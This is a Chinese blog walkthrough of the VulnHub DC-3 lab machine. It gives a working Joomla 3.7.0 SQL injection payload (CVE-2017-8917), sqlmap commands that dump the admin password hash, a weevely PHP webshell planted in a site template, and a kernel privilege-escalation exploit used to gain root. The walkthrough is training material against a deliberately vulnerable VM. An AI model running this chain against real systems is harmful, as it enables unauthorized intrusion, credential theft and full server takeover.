VulnHub仿真靶机渗透之DC-3 【DC系列】


这次渗透是DC系列(VulnHub的仿真靶机)的DC-3,包含了提权、传webshell等知识。

VulnHub靶机渗透之DC-3【DC系列】

dc-3靶机下载链接:https://www.vulnhub.com/entry/dc-32,312/

vmware workstation

kali :192.168.124.129

发现主机

nmap扫描局域网发现dc-3的ip —>192.168.124.132

nmap -sP 192.168.124.0/24

1646549445323

详细扫描

80端口开放,是个Joomla的cms,但扫描器【nmap、whatweb】和插件【wappalyzer】都没找到版本号。

CMS:Joomla

脚本:php

操作系统:Ubuntu

nmap -A -T4 192.168.124.132   -p1-65535
-p 指定端口
-A 详细扫描
-T 设置速度,0-5都可以

Nmap默认扫描前1000个端口,即1-1000。所以我们要指定端口从1到65535。

1646549887424

1646553144361

1646549768665

常规思路是dirb扫一下目录,dirb目录扫描【dirb用的是默认字典common.txt】:

1646550662841

找到后台地址

1646550872672

因为要查找Joomla版本号,所以用一下Joomla专门的扫描器 joomscan扫一下是否能找到。【Joomscan (Joomla漏洞扫描程序)是一个用Perl编程语言编写的开源工具,可以检测和分析Joomla CMS漏洞。】

joomscan -u 192.168.124.132
-u 指定url和域名

发现了版本 是3.7.0,还有管理员页面

1646553255296

1646553279843

1646553315253

1646554711665

msf简单搜了一下,最新的利用模块都是2016之前的了,都用不了,版本没跟上。

1646552288049

所以在网上搜一下看看有没有可以直接用poc

1646553752070

1646553777434

1646553800261

poc使用复现成功

http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

1646553991737

确认存在SQL注入漏洞【CVE-2017-8917 SQL注入】

在exploitdb中找到了Joomla 3.7.0的SQL注入漏洞可以利用。【exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。】

searchsploit joomla 3.7.0

1646556910384

然后查看利用方法,exploitdb默认路径是:/usr/share/exploitdb/exploits/

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

1646557373059

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

详细提供了SQL注入的方法。

用上方提供的注入方法爆出了数据库

sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

1646557562488

1646555022567

指定数据库:joomadb,爆表

sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
# -D 指定数据库

1646557652115

1646556382127

指定表:__users,爆字段名

sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb  -T "#__users" --columns -p list[fullordering]
# -T 指定表

1646558423722

按需求选择线程数字

1646557878700

1646558115795

指定表:__users,爆字段名

sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb  -T "#__users" -C username,password --dump -p list[fullordering]
# -C 指定要暴力拆解的字段
# --dump 导出结果

1646558599279

1646558586877

admin

2y10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

看见password是hash的,不是md5也不是base64,用john爆破。

用户名:admin

密码: snoopy

1646559059162

1646559044054

1646559081451

后台登录成功,然后寻找可以利用的上传点进行getshell

1646559126398

1646559619330

使用后门生成工具 weevely

【Weevely 是使用python编写的一个用来生成并管理php webshell的安全测试工具,相当于Linux中的php菜刀】

weevely generate <连接密码> <path>

1646560168934

1646560347264

1646562425876

protostar模板是默认的,所以我们在protostar里面床架一个shell.php

1646562548362

shell代码粘贴到这里,保存成功

1646562663406

进行后门连接成功

weevely http://192.168.124.132/templates/protostar/html/shell.php passwd

1646563176678

后门连接进行信息收集

查看内核版本信息

1646564636261

使用命令查看内核版本【linux 4.4.0-21】、cpu架构【i686】,发行版【ubuntu 16.04】

lsb_release -a
uname -a
cat /etc/issue

发现操作系统发型版ubuntu版本是16.04的

1646563535380

进行提权

exploit-db搜索漏洞

searchsploit ubuntu 16.04 priv 

1646564803267

这个内核版本符合信息搜集到的4.4.0-21

Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation | linux/local/39772.txt

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

1646565185945

最后一行发现exp下载地址

1646565219898

我kali节点有点问题【wget失败了】,用的本机windows下载的,通过xftp传过去的

1646566124754

1646566013908

1646566488702

1646567103174

通过weevely的文件上传功能传过去

file_upload /home/kali/Desktop/39772.zip shell.zip

1646567552646

1646567775868

失败了

1646568016462

没有执行权限

1646568088761

解压:unzip 39773.zip #解压39772.zip文件

再解压:tar -xvf exploit.tar #解压exploit提权脚本tar包

切换:cd ebpf_mapfd_doubleput_exploit/

执行: ./compile.sh #执行脚本,编译文件

​ ./doubleput #执行提权文件

然后得到了root权限

1646568439784

1646568467425

总结:

​ 1,分析web应用信息(平台,版本等)

​ 2,利用exploitdb进行查询,简化漏洞挖掘过程。

​ 3,破解密码登录后台,上传webshell。

​ 4,寻找适用的漏洞进行提权。

参考链接:

Vulnhub DC-3 【Nurburgring

https://blog.csdn.net/weixin_43583637/article/details/101554815

https://blog.csdn.net/qq_32393893/article/details/105403927

https://cloud.tencent.com/developer/article/1472181


文章作者: highgerms
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 highgerms !
  目录